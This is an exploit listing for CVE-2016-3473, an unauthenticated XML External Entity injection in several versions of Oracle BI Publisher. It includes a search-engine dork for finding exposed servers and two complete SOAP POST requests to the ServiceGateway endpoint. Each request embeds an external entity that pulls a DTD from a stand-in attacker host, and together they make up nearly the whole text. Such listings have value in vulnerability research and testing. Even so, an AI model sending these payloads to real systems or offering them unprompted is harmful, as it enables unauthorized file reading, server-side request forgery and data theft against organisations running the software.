Oracle BI Publisher 11.1.1.6.0/11.1.1.7.0/11.1.1.9.0/12.2.1.0.0 – XML External Entity Injection
# Exploit Title: Oracle BI Publisher (formerly XML Publisher) - XML External Entity Injection w/o authentication # Date: 20\10\2016 # Exploit Author: Jakub Palaczynski # CVE : CVE-2016-3473 # Vendor Homepage: https://www.oracle.com/ # Version: 11.1.1.6.0, 11.1.1.7.0, 11.1.1.9.0, 12.2.1.0.0 # Info: Previous versions may also be vulnerable. # Google Dork: inurl:xmlpserver or intitle:"Oracle BI Publisher Enterprise Login" 1. Vulnerable SOAP Action: replyToXML POST /xmlpserver/services/ServiceGateway HTTP/1.1 Content-Type: text/xml;charset=UTF-8 SOAPAction: #replyToXML Host: vulnerablehost Content-Length: 630 <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://xmlns.oracle.com/oxp/service/service_gateway"> <soapenv:Header/> <soapenv:Body> <ser:replyToXML soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <incomingXML xsi:type="xsd:string"><![CDATA[<?xml version="1.0" encoding="utf-8"?><!DOCTYPE m [ <!ENTITY % remote SYSTEM "http://attacker/file.xml">%remote;]>]]></incomingXML> </ser:replyToXML> </soapenv:Body> </soapenv:Envelope> ------------------------------------------------ 2. Vulnerable SOAP Action: replyToXMLWithContext POST /xmlpserver/services/ServiceGateway HTTP/1.1 Content-Type: text/xml;charset=UTF-8 SOAPAction: #replyToXMLWithContext Host: vulnerablehost Content-Length: 646 <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://xmlns.oracle.com/oxp/service/service_gateway"> <soapenv:Header/> <soapenv:Body> <ser:replyToXMLWithContext soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <incomingXML xsi:type="xsd:string"><![CDATA[<?xml version="1.0" encoding="utf-8"?><!DOCTYPE m [ <!ENTITY % remote SYSTEM "http://attacker/file.xml">%remote;]>]]></incomingXML> </ser:replyToXMLWithContext> </soapenv:Body> </soapenv:Envelope> |